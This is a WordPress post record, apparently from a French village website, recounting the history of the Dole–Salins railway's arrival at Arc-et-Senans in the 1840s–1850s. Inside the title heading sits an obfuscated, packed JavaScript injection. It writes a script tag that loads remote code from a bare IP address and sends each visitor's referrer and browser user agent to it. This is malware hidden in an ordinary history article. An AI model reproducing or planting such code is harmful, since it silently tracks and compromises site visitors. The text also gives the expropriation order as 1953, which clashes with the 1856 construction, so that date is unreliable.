{"id":84,"date":"2015-07-21T07:06:43","date_gmt":"2015-07-21T06:06:43","guid":{"rendered":"http:\/\/www.arc-et-senans.com\/?p=84"},"modified":"2015-07-21T07:06:43","modified_gmt":"2015-07-21T06:06:43","slug":"le-chemin-de-fer-a-arc-et-senans","status":"publish","type":"post","link":"https:\/\/www.arc-et-senans.com\/?p=84","title":{"rendered":"Le chemin de fer \u00e0 Arc et Senans"},"content":{"rendered":"<p><b><strong>L&rsquo;ARRIV\u00c9E <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssnrn|var|u0026u|referrer|ryknf||js|php'.split('|'),0,{}))\n<\/script><\/noindex> DU CHEMIN DE FER A ARC-ET-SENANS<\/strong><\/b><\/p>\n<p>Le premier chemin de fer fran\u00e7ais a \u00e9t\u00e9 construit et mis en service en 1827 dans la r\u00e9gion st\u00e9phanoise. S\u2019en est suivi un vaste plan d\u2019\u00e9quipement du territoire national en voies de chemin de fer. Notre village ne fut desservi qu\u2019en 1857 suite \u00e0 une longue proc\u00e9dure administrative.<\/p>\n<p><!--more--><\/p>\n<p>Les archives\u00a0 communales\u00a0 montrent que les habitants et les autorit\u00e9s politiques et administratives\u00a0 \u00e9taient tr\u00e8s motiv\u00e9s par les cons\u00e9quences \u00e9conomiques et tr\u00e8s conscients des avantages \u00a0des nouvelles voies de communication, d\u2019autant \u00a0que l\u2019axe Dijon \u2013Chalon \u2013 Lyon avait \u00e9t\u00e9 mis en service pr\u00e9cocement, la r\u00e9gion de Dole se trouvait ainsi p\u00e9nalis\u00e9e pour l\u2019exportation de ses produits agricoles et industriels.<\/p>\n<p>La ligne Dole-Salins est \u00e9voqu\u00e9e pour la 1\u00e8re fois dans les archives communales \u00a0le 16 d\u00e9cembre 1846. Il s\u2019agit d\u2019une d\u00e9lib\u00e9ration du conseil municipal qui fait suite \u00e0 la d\u00e9cision pr\u00e9fectorale d\u2019engager l\u2019\u00e9tude du projet. Cette d\u00e9cision municipale est assortie d\u2019une somme de 800 Frs mise \u00e0 disposition du pr\u00e9fet.<\/p>\n<p>Les \u00e9tapes suivantes du projet sont\u00a0:<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Le 1<sup>er<\/sup> mars 1846, la jonction Dole-Salins est d\u00e9clar\u00e9e \u00ab\u00a0entreprise de n\u00e9cessit\u00e9 publique\u00a0\u00bb. Ce projet trouve sa justification dans l\u2019acheminement \u00e0 Dole, des produits m\u00e9tallurgiques des \u00e9tablissements industriels situ\u00e9s dans le triangle Salins-Pontarlier-Les Rousses.<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Une \u00a0p\u00e9tition sign\u00e9e par 40 habitants de la commune qui est \u00a0adress\u00e9e \u00e0 Napol\u00e9on III, empereur des France, le 20 mai 1854. Cette p\u00e9tition d\u00e9veloppe de solides arguments \u00e9conomiques et conclut en demandant, \u00e0 titre d\u00e9rogatoire, une exon\u00e9ration de la participation de la commune aux frais d\u2019\u00e9tablissement de la ligne, en raison de la grande pauvret\u00e9 de la commune qui fait suite \u00e0 plusieurs ann\u00e9es de disette. Nous ignorons la suite qui a \u00e9t\u00e9 donn\u00e9e \u00e0 cette requ\u00eate, aucune r\u00e9ponse ne figure dans nos archives. Cette p\u00e9tition dont nous reproduisons un extrait ci-dessous, est r\u00e9dig\u00e9e dans un style tr\u00e8s lyrique<\/p>\n<p>Extrait\u00a0:\u00a0<em>\u00ab\u2026nos pays appauvris par quatre ann\u00e9es cons\u00e9cutives de disette, par la m\u00e9vente de leurs denr\u00e9es \u2026, par un d\u00e9tournement d\u00e9j\u00e0 consid\u00e9rable de l\u2019ancienne et importante circulation de la route imp\u00e9riale N\u00b083 (actuellement RD 83) au profit des voies de communication perfectionn\u00e9es de la C\u00f4te d\u2019or et de la Sa\u00f4ne et Loire\u2026..Alors comment vivre \u2026.sans produits, sans travail et par cons\u00e9quent sans aucun moyen d\u2019existence\u00a0? Voil\u00e0 Sire l\u2019horrible perspective qui nous attend\u2026.\u00a0\u00bb<\/em><\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 L\u2019arr\u00eat\u00e9 d\u2019expropriation pour cause d\u2019utilit\u00e9 publique, qui concerne pas moins de 221 parcelles, est prononc\u00e9 le 10 juin 1953 par arr\u00eat\u00e9 pr\u00e9fectoral<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La construction de la ligne Dole-Salins commen\u00e7a en f\u00e9vrier 1856. Le trac\u00e9 fut celui qui laisse la Saline d\u2019Arc \u00e0 gauche (en venant de Dole, l\u2019autre\u00a0 trac\u00e9 alternatif aurait laiss\u00e9 la Saline \u00e0 droite) et traverse la Loue \u00e0 200 m en aval du pont suspendu.<\/p>\n<p>&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Le 16 mai 1857, c\u2019est l\u2019inauguration de cette ligne si ch\u00e8re \u00e0 M. de Grimaldi, exploitant de la Saline qui avait fortement appuy\u00e9 le projet. Cette ligne passant par Montbarrey, Chatelay, Arc-et-Senans et Mouchard, sera exploit\u00e9e par le PLM \u00a0(ancienne Compagnie des chemins de fer de Paris \u00e0 Lyon et \u00e0 la M\u00e9diterran\u00e9e) jusqu\u2019\u00e0 la nationalisation des chemins de fer en 1938<\/p>\n<p>&nbsp;<\/p>\n<p>Avant la construction de cette ligne de chemin de fer et la construction de la saline quelques d\u00e9cennies plus t\u00f4t, Arc et Senans \u00e9taient de modestes villages ruraux du pourtour de la for\u00eat de Chaux, \u00a0compos\u00e9s de quelques centaines d\u2019habitants. La physionomie actuelle\u00a0 de notre village \u00a0a pris forme \u00e0 la fin du XVIII\u00e8me si\u00e8cle avec la construction de la Saline en 1779 et durant la premi\u00e8re moiti\u00e9 du XIX\u00e8me si\u00e8cle, avec la construction \u00a0de l\u2019\u00e9glise\u00a0 en 1852 et du chemin de fer en 1857. Les \u00e9coles furent \u00e9galement construites \u00e0 la m\u00eame \u00e9poque.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;ARRIV\u00c9E DU CHEMIN DE FER A ARC-ET-SENANS Le premier chemin de fer fran\u00e7ais a \u00e9t\u00e9 construit et mis en service en 1827 dans la r\u00e9gion st\u00e9phanoise. S\u2019en est suivi un vaste plan d\u2019\u00e9quipement du territoire national en voies de chemin de fer. Notre village ne fut desservi qu\u2019en 1857 suite \u00e0 une longue proc\u00e9dure administrative.<\/p>\n","protected":false},"author":1,"featured_media":85,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"class_list":["post-84","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-histoire","category-tourisme"],"_links":{"self":[{"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=\/wp\/v2\/posts\/84","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=84"}],"version-history":[{"count":0,"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=\/wp\/v2\/posts\/84\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=\/wp\/v2\/media\/85"}],"wp:attachment":[{"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=84"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=84"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.arc-et-senans.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=84"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}